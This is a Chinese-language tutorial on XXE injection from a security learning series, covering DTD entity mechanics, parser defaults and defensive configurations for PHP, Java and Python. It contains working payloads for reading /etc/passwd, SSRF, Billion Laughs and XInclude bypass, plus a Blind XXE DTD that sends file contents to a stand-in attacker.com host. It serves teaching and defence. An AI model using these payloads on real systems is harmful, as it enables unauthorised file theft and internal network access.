📚 网络安全 Kali 学习系列
模块 0 基础阶段 ✅ 已完成
01-18 Linux系统 → 计算机网络 → 密码学 → Python/Bash/PHP/JS → Docker
模块 1 信息收集与侦察 ✅ 已完成
19 nmap 主动扫描 → 20 masscan 高速扫描 → 21 指纹识别与目录爆破 → 22 漏洞扫描与 Web 安全基础
模块 2 Web 应用渗透(攻击技术阶段)
✓ 23 sqlmap 注入与 Burp 抓包
✓ 24 XSS 跨站脚本攻击
✓ 25 CSRF 与文件上传漏洞
✓ 26 命令执行与代码执行漏洞
✓ 27 文件包含与 SSRF 漏洞
✓ 28 反序列化漏洞
29 XXE 外部实体注入(当前篇)
30 越权访问与逻辑漏洞(预告)
模块 3-5 后续持续更新
导读
XML 曾经是 Web Service 的「通用语言」——SOAP、RSS、SVG、配置文件、办公文档格式,无处不在。但很少有人意识到,XML 规范内置了一种叫「外部实体」的机制,它允许 XML 文件引用本地文件、远程 URL 甚至执行网络请求。当服务端解析用户提交的 XML 时,攻击者可以利用这一机制读取 /etc/passwd、扫描内网端口、发起 SSRF 攻击,甚至通过「十亿笑」实体爆炸让服务器内存耗尽。
读完本篇你将能:理解 XML DTD 实体机制及其安全影响、手工构造 XXE Payload 读取服务器文件、区分有回显 XXE 与 Blind XXE 的利用差异、为 PHP/Java/Python 三种语言的 XML 解析器配置安全防护、使用 defusedxml 等安全库替换危险解析器。
目录
1. XML 基础与 DTD 实体机制
2. XXE 漏洞原理:当解析器信任了外部引用
3. XXE 利用技术全景:从文件读取到 SSRF
4. 多语言 XXE 实战:PHP / Java / Python
5. XXE 绕过技术:编码、参数实体与协议利用
6. 防御方案:禁用 DTD、安全解析器配置
7. 伦理边界与分级练习
1. XML 基础与 DTD 实体机制
要理解 XXE,必须先理解 XML 的实体系统。XML 不只是一门标记语言——它自带一套完整的「文档类型定义」(DTD)机制,允许在文档内部声明宏一样的「实体」,然后在正文中引用它们。这套机制的设计初衷是模块化和复用,但恰恰是它打开了安全地狱的大门。
1.1 XML 文档结构速览
一个标准 XML 文档由声明、根元素、子元素和可选的 DTD 组成:
XML 文档结构
<?xml version="1.0" encoding="UTF-8"?>
<!-- DTD 声明 -->
<!DOCTYPE note [
<!ELEMENT note (to,from,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>Alice</to>
<from>Bob</from>
<body>Hello World</body>
</note>
上面 DTD 中 <!ELEMENT> 定义了元素的结构约束,但真正危险的是 <!ENTITY> 声明。
1.2 实体:XML 的「宏定义」
DTD 实体类似于 C 语言的 #define 宏——定义一个名称,在解析时替换为内容。实体分为三种:
实体分类
内部实体:值在 DTD 中直接定义,如 <!ENTITY name "value">,引用 &name; 替换为 "value"
外部实体:值来自外部资源(文件/URL),如 <!ENTITY ext SYSTEM "file:///etc/passwd">,引用时解析器读取该文件内容
参数实体:仅在 DTD 内部使用,以 % 开头,如 <!ENTITY % param "...">,引用 %param;
内部实体本身无害——它只是一个文本替换宏。但外部实体才是 XXE 的核心武器。当解析器遇到 SYSTEM "file:///etc/passwd" 时,它会真的去读取 /etc/passwd 文件,把文件内容作为实体值替换到 XML 中。
1.3 实体扩展与「十亿笑」攻击
实体可以嵌套引用——一个实体的值可以包含另一个实体引用。这个看似无害的特性催生了一种名为「十亿笑」(Billion Laughs)的 DoS 攻击:
Billion Laughs Payload
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
...(继续嵌套到 lol9)
]>
<lolz>&lol9;</lolz>
这个只有不到 1KB 的 XML 文件,解析时会指数级扩展:lol9 引用 10 个 lol8,每个 lol8 引用 10 个 lol7……最终展开后生成 10⁹ = 10 亿个 "lol" 字符串,占用约 3GB 内存。这个攻击得名于最终产生的十亿个 "lol" 字符串——攻击者在向服务器「笑」了十亿次。
💡 小贴士
实体扩展攻击不需要外部实体——它用的是纯内部实体。所以即使解析器禁用了外部实体加载,如果不限制 DTD 内部实体嵌套深度,仍然会被 Billion Laughs 击倒。防御时必须同时禁用 DTD 处理本身,而不仅仅是禁用外部实体。
2. XXE 漏洞原理:当解析器信任了外部引用
XXE(XML External Entity Injection)的核心矛盾在于:XML 规范设计了一个功能(外部实体),而许多 XML 解析器默认开启了这个功能。当应用接受用户提交的 XML 输入并解析时,攻击者可以在 XML 中注入恶意 DTD 实体声明,利用解析器代替自己读取文件或发起网络请求。
2.1 触发条件
XXE 漏洞成立需要两个前提条件:
条件一:应用程序接收并解析用户可控的 XML 输入。常见入口包括:REST API 的 Content-Type: application/xml 请求体、SOAP Web Service、SVG 图片上传(SVG 本质是 XML)、DOCX/XLSX 文件解析(Office Open XML 也是 XML)、RSS/Atom Feed 订阅、SAML 单点登录
条件二:XML 解析器启用了外部实体加载。不同语言的默认行为差异很大——Java 默认启用(危险),PHP ≥ 8.0 默认禁用(安全),Python 的 lxml 默认启用(危险),标准库 xml.etree 默认禁用外部实体但仍受实体扩展攻击影响
2.2 经典 XXE 攻击模型
假设一个 Web 应用接受 XML 格式的用户反馈,服务端代码用 PHP 写:
PHP 漏洞代码
// feedback.php — 接收 XML 格式的用户反馈
$xml = file_get_contents('php://input');
$data = simplexml_load_string($xml);
echo "感谢您的反馈:" . $data->message;
正常请求发送的 XML 是这样的:
正常 XML 请求
<?xml version="1.0" encoding="UTF-8"?>
<feedback>
<message>网站很好用</message>
</feedback>
攻击者将请求改为:
XXE 注入 Payload
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE feedback [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<feedback>
<message>&xxe;</message>
</feedback>
解析器遇到 &xxe; 时,发现它指向 file:///etc/passwd,于是读取该文件内容替换实体引用。最终 $data->message 的值变成了 /etc/passwd 的文件内容,并通过 echo 直接输出到响应中——这就是有回显 XXE。
2.3 各语言解析器默认安全状态
不同 XML 解析器的默认安全配置差异巨大,这是 XXE 审计中最容易踩坑的地方:
| 解析器 |
语言 |
外部实体 |
默认安全 |
| DocumentBuilderFactory |
Java |
启用 |
否 |
| SAXParserFactory |
Java |
启用 |
否 |
| lxml |
Python |
启用 |
否 |
| xml.etree.ElementTree |
Python |
禁用 |
部分(实体扩展仍可利用) |
| SimpleXML (libxml2≥2.9) |
PHP |
禁用 |
是 |
| XmlDocument |
.NET |
启用 |
否 |
💡 小贴士
PHP 8.0 之前的版本中,libxml_disable_entity_loader(false) 会显式开启外部实体加载。PHP 8.0 移除了这个函数——因为 libxml2 2.9+ 已经默认禁用,该函数变成空操作。但在旧项目中(PHP 7.x + libxml < 2.9),仍需手动调用 libxml_disable_entity_loader(true) 来防御。审计 PHP 老项目时,务必确认 libxml2 版本。
3. XXE 利用技术全景:从文件读取到 SSRF
XXE 的利用远不止读取 /etc/passwd 这一种。根据应用是否回显结果,利用技术分为有回显 XXE 和无回显 XXE(Blind XXE)两大方向。
3.1 有回显 XXE:直接读取文件
当应用将 XML 解析结果输出到响应中时,攻击者可以直接看到文件内容。除了 file:// 协议读取本地文件,还可以用 http:// 和 https:// 协议发起 SSRF 请求:
XXE SSRF Payload
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY ssrf SYSTEM "http://internal-api:8080/admin/users">
]>
<foo>&ssrf;</foo>
这里实体引用 http://internal-api:8080/admin/users——一个只有内网才能访问的管理接口。解析器代替攻击者发起了 HTTP 请求并将响应内容嵌入 XML 响应中。这本质上就是 SSRF(服务端请求伪造),与第 27 篇讲到的 SSRF 原理一脉相承,只是入口从 URL 参数变成了 XML 实体声明。
3.2 不同协议的利用
XXE 中的 SYSTEM 关键字支持多种协议,不同语言支持的协议集不同:
| 协议 |
PHP |
Java |
Python(lxml) |
用途 |
| file:// |
支持 |
支持 |
支持 |
读取本地文件 |
| http:// |
支持 |
支持 |
支持 |
SSRF 请求 |
| https:// |
支持 |
支持 |
支持 |
SSRF 请求 |
| php://filter |
支持 |
不支持 |
不支持 |
PHP 专有:Base64 编码读取 |
| gopher:// |
支持 |
不支持 |
不支持 |
构造任意 TCP 报文 |
| jar:// |
不支持 |
支持 |
不支持 |
Java 专有:读取 JAR 内文件 |
| netdoc:// |
不支持 |
支持 |
不支持 |
Java 替代 file:// |
PHP 的 php://filter 协议特别值得注意——它可以在读取文件时应用过滤器(如 Base64 编码),解决某些文件内容包含 XML 特殊字符(<、&)导致解析失败的问题:
PHP Filter XXE
<!-- 直接读取 PHP 源码会因 <?php 标签导致 XML 解析失败 -->
<!-- 用 base64 编码绕过 -->
<!DOCTYPE foo [
<!ENTITY code SYSTEM "php://filter/read=convert.base64-encode/resource=config.php">
]>
<foo>&code;</foo>
<!-- 响应中得到 Base64 编码的文件内容,解码即可 -->
<!-- PD9waHAKJGRiX2hvc3Q9ImxvY2FsaG9zdCI7... -->
3.3 Blind XXE:无回显的利用
大多数真实场景中,应用不会直接输出 XML 解析结果。此时需要 Blind XXE 技术——通过带外(OOB)通道将数据外带出去。核心思路是利用参数实体在 DTD 中发起外部 HTTP 请求,将文件内容拼接到 URL 中发送到攻击者控制的服务器。
Blind XXE 利用分为两步。第一步,攻击者在自己的服务器上放置一个恶意 DTD 文件:
evil.dtd(攻击者服务器)
<!-- 读取目标文件存入参数实体 -->
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!-- 将文件内容拼入 URL,通过另一实体发起请求 -->
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?d=%file;'>">
%eval;
%exfil;
第二步,在目标应用提交的 XML 中引用这个外部 DTD:
Blind XXE 请求
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % ext SYSTEM "http://attacker.com/evil.dtd">
%ext;
]>
<foo>test</foo>
解析流程是:目标解析器加载外部 DTD → 执行 %file; 读取 /etc/hostname → 执行 %eval; 动态定义新实体 %exfil;(URL 中嵌入文件内容)→ 执行 %exfil; 发起 HTTP 请求到攻击者服务器。攻击者在服务器日志中就能看到 GET /?d=web01,其中 web01 就是目标服务器的主机名。
💡 小贴士
Blind XXE 的关键在于参数实体(% 开头的实体)只能在 DTD 内部使用,而普通实体(& 开头)只能在文档正文中使用。Blind XXE 需要 DTD 内部的实体嵌套引用,必须用参数实体。但 XML 规范规定:内部 DTD 中不能在实体值中引用另一个参数实体——只有外部 DTD 可以。这就是为什么 Blind XXE 必须分两步:先引用外部 DTD,再由外部 DTD 完成参数实体嵌套。
3.4 错误回显 XXE
当应用不直接输出解析结果,但会把错误信息返回给用户时,可以构造一个让解析器报错的 Payload,让文件内容出现在错误消息中:
错误回显 XXE
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://attacker.com/error.dtd">
%dtd;
]>
<foo>&exfil;</foo>
外部 DTD error.dtd 中故意引用一个不存在的文件路径,把 /etc/passwd 的内容拼接到文件路径中。解析器找不到这个文件,在错误消息中会包含路径——也就泄露了文件内容。这种方式适用于 Java 的 SAXParser 等会返回详细错误信息的解析器。
3.5 实战:用 Burp Suite 检测 XXE
在 Burp Suite 中检测 XXE 的流程:先在 Proxy 中找到包含 XML 请求体的 HTTP 请求,发送到 Repeater,然后在 XML 中注入外部实体声明,观察响应是否包含文件内容或发生外带请求:
Burp 检测流程(Bash 命令)
# 1. 在攻击者服务器上启动监听
python3 -m http.server 8888
# 2. 构造 XXE Payload(检测是否加载外部实体)
<!DOCTYPE foo [<!ENTITY x SYSTEM "http://attacker:8888/xxe-test">]>
<foo>&x;</foo>
# 3. 如果监听端收到 GET /xxe-test 请求 → 确认存在 XXE
# 4. 确认后升级为文件读取
<!DOCTYPE foo [<!ENTITY x SYSTEM "file:///etc/passwd">]>
<foo>&x;</foo>
# 5. 确认后升级为 Blind XXE 带外数据外带
3.6 SVG 文件上传中的 XXE
SVG 图片本质上就是 XML 文件。许多 Web 应用允许上传 SVG 头像或图片,如果上传后服务端用 XML 解析器处理 SVG(例如提取宽高、压缩、转换格式),就会产生 XXE 漏洞:
恶意 SVG 文件
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="500" height="500">
<text x="10" y="50">&xxe;</text>
</svg>
如果服务端上传后直接返回 SVG 的渲染结果或提取了 <text> 内容,攻击者就能看到 /etc/passwd 的内容。这种攻击向量隐蔽性极强——谁能想到传一张图片就能读文件?
4. 多语言 XXE 实战:PHP / Java / Python
不同语言的 XML 解析器各有特性,利用方式和防御方法也不相同。本节分别给出三种语言的漏洞代码和修复方案。
4.1 PHP XXE
PHP 8.0+ 配合 libxml2 2.9+ 默认禁用了外部实体加载。但大量旧项目(PHP 7.x)仍在运行,且有些开发者会手动开启实体加载来兼容旧功能:
PHP 漏洞代码(PHP 7.x)
// 漏洞:手动开启了外部实体加载
libxml_disable_entity_loader(false);
$xml = file_get_contents(\'php://input\');
$data = simplexml_load_string($xml);
// 修复方案一:恢复安全默认值
libxml_disable_entity_loader(true); // PHP 8.0+ 中此函数已废弃
// 修复方案二:传入 LIBXML_NONET 标志
$data = simplexml_load_string($xml, SimpleXMLElement::class, LIBXML_NONET);
PHP 中还需注意 DOMDocument::loadXML() 方法——它默认也会加载外部实体。安全的写法是传入 LIBXML_NONET 标志。
4.2 Java XXE
Java 是 XXE 的重灾区——因为 DocumentBuilderFactory、SAXParserFactory 和 XMLReader 默认都开启了外部实体加载。大量 Java 企业应用(SOAP Web Service、Spring MVC XML 配置、SAML 解析)都有 XXE 风险:
Java 漏洞代码
// 漏洞:默认配置,外部实体已启用
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(request.getInputStream());
// 修复方案一:完全禁用 DTD(最安全)
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);
// 修复方案二:安全处理特性(JDK 9+ 简化写法)
dbf.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
disallow-doctype-decl 是最强的防御——它直接拒绝任何包含 DTD 声明的 XML 文档。如果业务确实需要 DTD(如验证 XML 结构),则用方案二关闭外部实体但保留 DTD 解析。
常见错误
Java 项目中经常使用第三方 XML 库(如 XStream、JAXB、Digester),它们内部封装了 DocumentBuilderFactory 但不暴露安全配置接口。审计这类项目时,不能只看应用代码——必须检查依赖库版本。例如 XStream 在 1.4.7 版本之前默认不限制外部实体,1.4.18+ 才默认安全。用 mvn dependency:tree 排查 XML 相关依赖的版本。
4.3 Python XXE
Python 的情况比较微妙。标准库 xml.etree.ElementTree 默认不加载外部实体,但仍然易受实体扩展攻击(Billion Laughs)。而第三方库 lxml 默认开启了外部实体加载:
Python 漏洞代码(lxml)
# 漏洞:lxml 默认加载外部实体
from lxml import etree
tree = etree.fromstring(user_xml)
# 默认 resolve_entities=True,可被 XXE 攻击
# 修复方案一:lxml 安全配置
parser = etree.XMLParser(
resolve_entities=False, # 禁止实体解析
no_network=True, # 禁止网络访问
dtd_validation=False, # 禁止 DTD 验证
load_dtd=False # 不加载外部 DTD
)
tree = etree.fromstring(user_xml, parser)
# 修复方案二:使用 defusedxml(推荐)
import defusedxml.ElementTree as ET
tree = ET.fromstring(user_xml)
# defusedxml 是标准库的 drop-in 替换,默认禁用所有实体
defusedxml 是 Python 安全社区维护的 XML 安全库,它修改了 xml.etree.ElementTree、xml.dom.minidom、xml.sax 等标准库模块的默认行为,禁用了外部实体加载并限制了实体扩展深度。安装 pip install defusedxml 后,只需把 import xml.etree.ElementTree 改为 import defusedxml.ElementTree 即可,API 完全兼容。
5. XXE 绕过技术:编码、参数实体与协议利用
安全防护并非一劳永逸。当应用做了部分防护(如只检查关键词但未完全禁用 DTD)时,攻击者有多种绕过手段。
5.1 关键词过滤绕过
某些 WAF 或应用层过滤会检测 SYSTEM、ENTITY、file:// 等关键词。绕过思路包括 UTF-16 编码(将整个 XML 用 UTF-16 编码发送,WAF 只检查 UTF-8 内容时过滤失效)、XInclude 替代(用 xi:include 标签代替 DOCTYPE+ENTITY,不需要 DTD 声明)、参数实体替代(用 % 开头的参数实体代替普通实体,过滤规则通常只检测 & 开头的引用)。
5.2 XInclude 绕过
当应用只解析 XML 文档的某个子节点(如 SOAP Body 中的参数),不接受完整的 DTD 声明时,可以用 XInclude 绕过。XInclude 是 XML 标准的一部分,允许在文档正文中包含外部文档,不需要 DTD 声明:
XInclude 绕过 Payload
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/>
</foo>
XInclude 绕过的隐蔽性在于它不使用 DOCTYPE 和 ENTITY 关键词——许多 WAF 规则只检测这些关键词,对 xi:include 毫无感知。Java DOM 和 Python lxml 默认支持 XInclude。
6. 防御方案:禁用 DTD、安全解析器配置
XXE 防御的核心原则是:不信任的 XML 输入,必须完全禁用 DTD 处理。仅禁用外部实体是不够的——Billion Laughs 攻击只依赖内部实体。下表汇总了防御优先级。
| 优先级 |
措施 |
效果 |
| P0 |
完全禁用 DTD(disallow-doctype-decl) |
阻断所有 XXE + Billion Laughs |
| P1 |
禁用外部实体 + 外部 DTD 加载 |
阻断 XXE,但 Billion Laughs 仍可利用 |
| P2 |
使用安全库(defusedxml / OWASP 安全配置) |
默认安全,无需手动配置 |
| P3 |
用 JSON 替代 XML |
从根源消除 XML 解析风险 |
6.1 各语言安全配置速查
PHP 安全配置
// PHP 8.0+ — libxml2 2.9+ 已默认禁用外部实体
$data = simplexml_load_string($xml, SimpleXMLElement::class, LIBXML_NONET);
// LIBXML_NONET: 禁止网络访问,不加载外部实体
Java 安全配置(推荐模板)
public static DocumentBuilderFactory createSecureFactory() {
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
try {
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);
} catch (ParserConfigurationException e) {
throw new RuntimeException("Failed to configure secure XML parser", e);
}
return dbf;
}
Python 安全配置(defusedxml)
# 安装:pip install defusedxml
import defusedxml.ElementTree as ET
tree = ET.fromstring(user_xml) # 自动禁用所有实体
# 全局禁用(影响所有标准库 XML 模块)
import defusedxml
defusedxml.defuse_stdlib()
6.2 JSON 替代与输入预检
如果业务不需要 XML 的 DTD、验证、命名空间等高级特性,最安全的方案是直接用 JSON 替代 XML 通信。JSON 没有「实体」概念,不存在 XXE 等价漏洞。对于必须保留 XML 输入的场景,在应用层增加输入验证——检查 XML 是否包含 <!DOCTYPE 声明,如果业务不需要 DTD,直接拒绝包含 DTD 的 XML 请求。但注意:输入验证不能替代解析器安全配置,攻击者可能用编码绕过正则检测,必须二者结合。
7. 伦理边界与分级练习
7.1 法律红线
XXE 攻击涉及读取服务器敏感文件、访问内网资源、发起网络请求,这些行为在任何未经授权的系统上都属于违法行为。根据《网络安全法》和《刑法》第二百八十五条,非法获取计算机信息系统数据可处三年以下有期徒刑并处罚金。所有 XXE 练习必须在授权靶场中进行。
合法练习靶场:
PortSwigger Web Security Academy — 提供 8 个免费 XXE 实验室(从基础到高级)
DVWA(Damn Vulnerable Web Application)— XML 解析模块
WebGoat — XXE 漏洞课程
自建靶场 — 用 Docker 部署 PHP/Java/Python 漏洞环境
7.2 分级练习
入门级
1. 用 Docker 部署一个 PHP 7.x + libxml 低于 2.9 的环境,复现有回显 XXE
2. 构造 XXE Payload 读取 /etc/passwd 和 /etc/hostname
3. 用 php://filter 协议读取 PHP 源码文件并 Base64 解码
4. 修复漏洞代码:添加 LIBXML_NONET 标志
进阶级
1. 在 PortSwigger Web Academy 完成 XXE 基础实验和 Blind XXE 实验
2. 搭建 Java Servlet 应用,用 DocumentBuilderFactory 解析 XML,构造 Blind XXE 带外数据外带
3. 用 Python 编写 HTTP 监听器接收 Blind XXE 外带数据
4. 构造 Billion Laughs Payload,观察内存占用变化
5. 为 Java 应用编写安全的 XML 解析工厂方法(P0 级别防御)
挑战级
1. 在 PortSwigger 完成 XInclude、SVG 文件上传、Content-Type 三个高级 XXE 实验
2. 用 UTF-16 编码绕过自建 WAF 规则(用 ModSecurity 部署 WAF)
3. 在 Spring Boot 应用中审计所有 XML 解析入口(包括 SAML、SOAP、配置文件解析)
4. 编写 XXE 自动检测脚本:扫描项目代码中所有 XML 解析调用,标记缺少安全配置的代码行
5. 用 XInclude 绕过只检测 DOCTYPE/ENTITY 关键词的 WAF 规则
知识回顾
XML DTD 实体
外部实体注入
参数实体
Blind XXE
Billion Laughs
SSRF via XXE
SVG XXE
XInclude 绕过
defusedxml
LIBXML_NONET
FEATURE_SECURE_PROCESSING
disallow-doctype-decl
下篇预告
30 越权访问与逻辑漏洞:不靠漏洞的漏洞
将学习越权访问(IDOR、水平/垂直越权)和业务逻辑漏洞——它们不需要 SQL 注入或 XSS 这样的技术漏洞,而是利用应用本身的权限检查缺陷。IDOR 让你通过改一个 ID 就能看到别人的订单;支付篡改让你用一分钱买到一百元的商品。这是 Web 渗透中最常见也最容易被开发者忽视的漏洞类型。